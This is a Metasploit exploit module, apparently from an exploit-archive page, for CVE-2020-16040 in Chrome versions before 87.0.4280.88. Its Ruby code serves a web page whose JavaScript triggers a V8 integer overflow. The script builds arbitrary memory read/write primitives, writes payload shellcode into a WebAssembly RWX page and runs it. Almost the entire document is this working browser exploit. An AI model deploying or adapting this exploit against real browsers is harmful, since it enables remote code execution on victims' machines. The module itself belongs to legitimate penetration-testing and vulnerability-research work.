Google Chrome SimplfiedLowering Integer Overflow

Related Vulnerabilities: CVE-2020-16040   CVE-2020-16040  
Publish Date: 09 Apr 2021
                							

                ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Post::File
  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Google Chrome versions before 87.0.4280.88 integer overflow during SimplfiedLowering phase',
        'Description' => %q{
          This module exploits an issue in Google Chrome versions before 87.0.4280.88 (64 bit).
          The exploit makes use of a integer overflow in the SimplifiedLowering phase in turbofan.
          It is used along with a typer hardening bypass using ArrayPrototypeShift to create a JSArray with a length of -1.
          This is abused to gain arbitrary read/write into the isolate region.
          Then an ArrayBuffer can be used to achieve absolute arbitrary read/write.
          The exploit then uses WebAssembly in order to allocate a region of RWX memory, which is then replaced with the payload shellcode.
          The payload is executed within the sandboxed renderer process, the browser must be run with the --no-sandbox option for the payload to work correctly.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Rajvardhan Agarwal (r4j)', # exploit
        ],
        'References' => [
          ['CVE', '2020-16040'],
          ['URL', 'https://chromium-review.googlesource.com/c/v8/v8/+/2557498'],
          ['URL', 'https://github.com/r4j0x00/exploits/tree/master/CVE-2020-16040'],
          ['URL', 'https://faraz.faith/2021-01-07-cve-2020-16040-analysis/'],
          ['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=1150649'],
        ],
        'Arch' => [ ARCH_X64 ],
        'DefaultTarget' => 0,
        'Targets' =>
          [
            ['Linux - Google Chrome 87.0.4280.66 (64 bit)', { 'Platform' => 'linux' }],
            ['Windows 10 - Google Chrome 87.0.4280.66 (64 bit)', { 'Platform' => 'win' }],
            ['macOS - Google Chrome 87.0.4280.66 (64 bit)', { 'Platform' => 'osx' }],
          ],
        'DisclosureDate' => '2020-11-19'
      )
    )
  end

  def on_request_uri(cli, request)
    print_status("Sending #{request.uri} to #{request['User-Agent']}")
    shellcode = Rex::Text.to_num(payload.encoded).gsub(/\r\n/, '')
    jscript = <<~JS
      var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11])
      var wasm_mod = new WebAssembly.Module(wasm_code);
      var wasm_instance = new WebAssembly.Instance(wasm_mod);
      var wasm_func = wasm_instance.exports.main;

      var buf = new ArrayBuffer(8);
      var f64_buf = new Float64Array(buf);
      var u64_buf = new Uint32Array(buf);
      var shellcode = new Uint8Array([#{shellcode}]);
      var shellbuf = new ArrayBuffer(shellcode.length);
      var dataview = new DataView(shellbuf);

      function ftoi(val) {
        f64_buf[0] = val;
        return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
      }

      function itof(val) {
        u64_buf[0] = Number(val & 0xffffffffn);
        u64_buf[1] = Number(val >> 32n);
        return f64_buf[0];
      }

      function foo(a) {
        var y = 0x7fffffff;

        if (a == NaN) y = NaN;
        if (a) y = -1;

        let z = y + 1;
        z >>= 31;
        z = 0x80000000 - Math.sign(z|1);

        if(a) z = 0;

        var arr = new Array(0-Math.sign(z));
        arr.shift();
        var cor = [1.1, 1.2, 1.3];

        return [arr, cor];
      }

      try {
        for(var i=0;i<0x3000;++i)
          foo(true);

        var x = foo(false);
      } catch (e) {
        location.reload();
      }
      var arr = x[0];
      var cor = x[1];

      const idx = 6;
      arr[idx+10] = 0x4242;

      function addrof(k) {
        arr[idx+1] = k;
        return ftoi(cor[0]) & 0xffffffffn;
      }

      function fakeobj(k) {
        cor[0] = itof(k);
        return arr[idx+1];
      }

      var float_array_map = ftoi(cor[3]);

      var arr2 = [itof(float_array_map), 1.2, 2.3, 3.4];
      var fake = fakeobj(addrof(arr2) + 0x20n);

      function arbread(addr) {
        if (addr % 2n == 0) {
          addr += 1n;
        }
        arr2[1] = itof((2n << 32n) + addr - 8n);
        return ftoi(fake[0]);
      }

      function arbwrite(addr, val) {
        if (addr % 2n == 0) {
          addr += 1n;
        }
        arr2[1] = itof((2n << 32n) + addr - 8n);
        fake[0] = itof(BigInt(val));
      }

      function copy_shellcode(addr, shellcode) {
        let buf_addr = addrof(shellbuf);
        let backing_store_addr = buf_addr + 0x14n;
        arbwrite(backing_store_addr, addr);

        for (let i = 0; i < shellcode.length; i++) {
          dataview.setUint8(i, shellcode[i]);
        }
      }

      var rwx_page_addr = arbread(addrof(wasm_instance) + 0x68n);
      copy_shellcode(rwx_page_addr, shellcode);
      wasm_func();
    JS

    html = <<~HTML
      <html>
      <head>
      <script>
      #{jscript}
      </script>
      </head>
      <body>
      </body>
      </html>
    HTML
    send_response(cli, html, { 'Content-Type' => 'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0' })
  end

end
<p>